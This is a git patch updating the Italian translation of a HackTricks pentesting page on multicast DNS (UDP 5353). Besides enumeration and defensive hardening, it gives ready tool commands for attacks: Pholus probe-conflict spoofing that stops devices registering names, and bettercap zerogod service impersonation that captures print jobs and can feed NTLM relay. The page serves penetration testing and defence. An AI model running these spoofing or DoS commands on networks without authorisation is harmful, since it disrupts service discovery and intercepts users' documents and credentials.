From 6e884bd5d79bd716ff1ffed6dd7d50d595027aac Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 14:16:49 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns --- hacktricks-preprocessor.py | 2 +- .../5353-udp-multicast-dns-mdns.md | 142 +++++++++++++++--- 2 files changed, 118 insertions(+), 26 deletions(-) diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index facc4ae71..0165a854a 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -65,7 +65,7 @@ def ref(matchobj): dir = path.dirname(current_chapter['source_path']) rel_path = path.normpath(path.join(dir,href)) try: - logger.debug(f'Error getting chapter title: {href} trying with relative path {rel_path}') + logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}') if "#" in href: chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") title = " ".join(href.split("#")[1].split("-")).title() diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index d5c0e3757..3beaf945a 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -2,52 +2,142 @@ {{#include ../banners/hacktricks-training.md}} -## **Informazioni di Base** +## Informazioni di base -**Multicast DNS (mDNS)** consente operazioni simili al **DNS** all'interno delle reti locali senza la necessità di un server DNS tradizionale. Funziona sulla **porta UDP 5353** e consente ai dispositivi di scoprire l'uno l'altro e i loro servizi, comunemente visti in vari dispositivi IoT. **DNS Service Discovery (DNS-SD)**, spesso utilizzato insieme a mDNS, aiuta a identificare i servizi disponibili sulla rete attraverso query DNS standard. +Multicast DNS (mDNS) consente la risoluzione dei nomi e la scoperta dei servizi simile al DNS all'interno di un link locale senza un server DNS unicast. Utilizza UDP/5353 e gli indirizzi multicast 224.0.0.251 (IPv4) e FF02::FB (IPv6). La scoperta dei servizi DNS (DNS-SD, tipicamente utilizzata con mDNS) fornisce un modo standardizzato per enumerare e descrivere i servizi tramite record PTR, SRV e TXT. ``` PORT STATE SERVICE 5353/udp open zeroconf ``` -### **Funzionamento di mDNS** +Dettagli chiave del protocollo che spesso sfrutterai durante gli attacchi: +- I nomi nella zona .local vengono risolti tramite mDNS. +- Il bit QU (Query Unicast) può richiedere risposte unicast anche per domande multicast. +- Le implementazioni dovrebbero ignorare i pacchetti non provenienti dal link locale; alcune stack li accettano ancora. +- La sondatura/annuncio impone nomi unici per host/servizi; interferire qui crea condizioni di DoS/"name squatting". -In ambienti senza un server DNS standard, mDNS consente ai dispositivi di risolvere i nomi di dominio che terminano in **.local** interrogando l'indirizzo multicast **224.0.0.251** (IPv4) o **FF02::FB** (IPv6). Aspetti importanti di mDNS includono un valore di **Time-to-Live (TTL)** che indica la validità del record e un **bit QU** che distingue tra query unicast e multicast. Dal punto di vista della sicurezza, è fondamentale che le implementazioni di mDNS verifichino che l'indirizzo sorgente del pacchetto sia allineato con la subnet locale. +## Modello di servizio DNS-SD -### **Funzionamento di DNS-SD** +I servizi sono identificati come _._tcp o _._udp sotto .local, ad esempio _ipp._tcp.local (stampanti), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), ecc. Scopri i tipi con _services._dns-sd._udp.local, quindi risolvi le istanze scoperte in SRV/TXT/A/AAAA. -DNS-SD facilita la scoperta dei servizi di rete interrogando i record puntatore (PTR) che mappano i tipi di servizio alle loro istanze. I servizi sono identificati utilizzando un modello **\_\.\_tcp o \_\.\_udp** all'interno del dominio **.local**, portando alla scoperta dei corrispondenti **record SRV** e **TXT** che forniscono informazioni dettagliate sul servizio. +## Esplorazione e enumerazione della rete -### **Esplorazione della rete** - -#### **Uso di nmap** - -Un comando utile per scansionare la rete locale per i servizi mDNS è: +- scansione target nmap (mDNS diretto su un host): ```bash -nmap -Pn -sUC -p5353 [target IP address] +nmap -sU -p 5353 --script=dns-service-discovery ``` -Questo comando aiuta a identificare le porte mDNS aperte e i servizi pubblicizzati su di esse. - -#### **Enumerazione della rete con Pholus** - -Per inviare attivamente richieste mDNS e catturare il traffico, lo strumento **Pholus** può essere utilizzato come segue: +- scoperta broadcast nmap (ascolta il segmento e enumera tutti i tipi/istanze DNS-SD): ```bash -sudo python3 pholus3.py [network interface] -rq -stimeout 10 +sudo nmap --script=broadcast-dns-service-discovery ``` +- avahi-browse (Linux): +```bash +# Elenca i tipi di servizio +avahi-browse -bt _services._dns-sd._udp +# Sfoglia tutti i servizi e risolvi in host/porta +avahi-browse -art +``` +- Apple dns-sd (macOS): +```bash +# Sfoglia tutti i servizi HTTP +dns-sd -B _http._tcp +# Enumera i tipi di servizio +dns-sd -B _services._dns-sd._udp +# Risolvi un'istanza specifica in SRV/TXT +dns-sd -L "My Printer" _ipp._tcp local +``` +- Cattura pacchetti con tshark: +```bash +# Cattura live +sudo tshark -i -f "udp port 5353" -Y mdns +# Solo query di elenco servizi DNS-SD +sudo tshark -i -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\"" +``` + +Suggerimento: Alcuni browser/WebRTC utilizzano nomi host mDNS effimeri per mascherare gli IP locali. Se vedi candidati random-UUID.local sulla rete, risolvili con mDNS per passare agli IP locali. + ## Attacchi -### **Sfruttare il Probing mDNS** +### Interferenza nella sondatura dei nomi mDNS (DoS / name squatting) -Un vettore di attacco prevede l'invio di risposte falsificate ai probe mDNS, suggerendo che tutti i nomi potenziali siano già in uso, ostacolando così i nuovi dispositivi nella selezione di un nome unico. Questo può essere eseguito utilizzando: +Durante la fase di sondatura, un host verifica l'unicità del nome. Rispondere con conflitti falsificati costringe a scegliere nuovi nomi o a fallire. Questo può ritardare o impedire la registrazione e la scoperta del servizio. + +Esempio con Pholus: ```bash -sudo python pholus.py [network interface] -afre -stimeout 1000 +# Block new devices from taking names by auto-faking responses +sudo python3 pholus3.py -afre -stimeout 1000 ``` -Questa tecnica blocca efficacemente nuovi dispositivi dal registrare i loro servizi sulla rete. +### Service spoofing and impersonation (MitM) -**In sintesi**, comprendere il funzionamento di mDNS e DNS-SD è cruciale per la gestione e la sicurezza della rete. Strumenti come **nmap** e **Pholus** offrono preziose informazioni sui servizi di rete locali, mentre la consapevolezza delle potenziali vulnerabilità aiuta a proteggere contro gli attacchi. +Impersonare i servizi DNS-SD pubblicizzati (stampanti, AirPlay, HTTP, condivisioni di file) per costringere i client a connettersi a te. Questo è particolarmente utile per: +- Catturare documenti simulando _ipp._tcp o _printer._tcp. +- Attirare i client verso servizi HTTP/HTTPS per raccogliere token/cookie o consegnare payload. +- Combinare con tecniche di relay NTLM quando i client Windows negoziano l'autenticazione con servizi falsificati. -### Spoofing/MitM +Con il modulo zerogod di bettercap (mDNS/DNS-SD spoofer/impersonator): +```bash +# Start mDNS/DNS-SD discovery +sudo bettercap -iface -eval "zerogod.discovery on" -L'attacco più interessante che puoi eseguire su questo servizio è effettuare un **MitM** nella **comunicazione tra il client e il server reale**. Potresti essere in grado di ottenere file sensibili (MitM della comunicazione con la stampante) o anche credenziali (autenticazione Windows).\ +# Show all services seen from a host +> zerogod.show 192.168.1.42 + +# Impersonate all services of a target host automatically +> zerogod.impersonate 192.168.1.42 + +# Save IPP print jobs to disk while impersonating a printer +> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/ +> zerogod.impersonate 192.168.1.42 + +# Replay previously captured services +> zerogod.save 192.168.1.42 target.yml +> zerogod.advertise target.yml +``` +Anche vedere le metodologie generiche di spoofing LLMNR/NBNS/mDNS/WPAD e flussi di cattura/relay delle credenziali: + +{{#ref}} +../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +{{#endref}} + +### Note su recenti problemi di implementazione (utili per DoS/persistenza durante gli ingaggi) + +- I bug di crash di Avahi reachable-assertion e D-Bus (2023) possono terminare avahi-daemon su distribuzioni Linux (ad es. CVE-2023-38469..38473, CVE-2023-1981), interrompendo la scoperta dei servizi sugli host target fino al riavvio. +- Il DoS del gateway mDNS del Cisco IOS XE Wireless LAN Controller (2024, CVE-2024-20303) consente agli attaccanti adiacenti di generare un alto utilizzo della CPU e disconnettere gli AP. Se incontri un gateway mDNS tra VLAN, fai attenzione alla sua stabilità sotto mDNS malformati o ad alta frequenza. + +## Considerazioni difensive e OPSEC + +- Confini di segmento: Non instradare 224.0.0.251/FF02::FB tra zone di sicurezza a meno che un gateway mDNS non sia esplicitamente richiesto. Se devi collegare la scoperta, preferisci le liste di autorizzazione e i limiti di frequenza. +- Endpoint/server Windows: +- Per disabilitare completamente la risoluzione dei nomi tramite mDNS, imposta il valore del registro e riavvia: +``` +HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD) +``` +- In ambienti gestiti, disabilita la regola del firewall di Windows Defender “mDNS (UDP-In)” integrata (almeno sul profilo di dominio) per prevenire l'elaborazione mDNS in entrata mantenendo la funzionalità di home/roaming. +- Su versioni più recenti di Windows 11/temi GPO, utilizza la policy “Configurazione computer > Modelli amministrativi > Rete > Client DNS > Configura il protocollo DNS multicast (mDNS)” e impostala su Disabilitato. +- Linux (Avahi): +- Limita la pubblicazione quando non necessaria: imposta `disable-publishing=yes` e restringi le interfacce con `allow-interfaces=` / `deny-interfaces=` in `/etc/avahi/avahi-daemon.conf`. +- Considera `check-response-ttl=yes` e evita `enable-reflector=yes` a meno che non sia strettamente necessario; preferisci le liste di autorizzazione `reflect-filters=` quando rifletti. +- macOS: Limita l'inbound mDNS nei firewall host/rete quando la scoperta Bonjour non è necessaria per subnet specifiche. +- Monitoraggio: Allerta su picchi insoliti nelle query `_services._dns-sd._udp.local` o cambiamenti improvvisi in SRV/TXT di servizi critici; questi sono indicatori di spoofing o impersonificazione del servizio. + +## Riferimenti rapidi agli strumenti + +- nmap NSE: `dns-service-discovery` e `broadcast-dns-service-discovery`. +- Pholus: scansione attiva, sweep mDNS inversi, helper per DoS e spoofing. +```bash +# Sniffing passivo (secondi di timeout) +sudo python3 pholus3.py -stimeout 60 +# Enumerare i tipi di servizio +sudo python3 pholus3.py -sscan +# Inviare richieste mDNS generiche +sudo python3 pholus3.py --request +# Sweep mDNS inverso di una subnet +sudo python3 pholus3.py -rdns_scanning 192.168.2.0/24 +``` +- bettercap zerogod: scoprire, salvare, pubblicizzare e impersonare servizi mDNS/DNS-SD (vedi esempi sopra). + +## Spoofing/MitM + +L'attacco più interessante che puoi eseguire su questo servizio è effettuare un MitM nella comunicazione tra il client e il server reale. Potresti essere in grado di ottenere file sensibili (MitM la comunicazione con la stampante) o anche credenziali (autenticazione Windows).\ Per ulteriori informazioni controlla: {{#ref}} @@ -57,5 +147,7 @@ Per ulteriori informazioni controlla: ## Riferimenti - [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y) +- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html) +- [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/) {{#include ../banners/hacktricks-training.md}}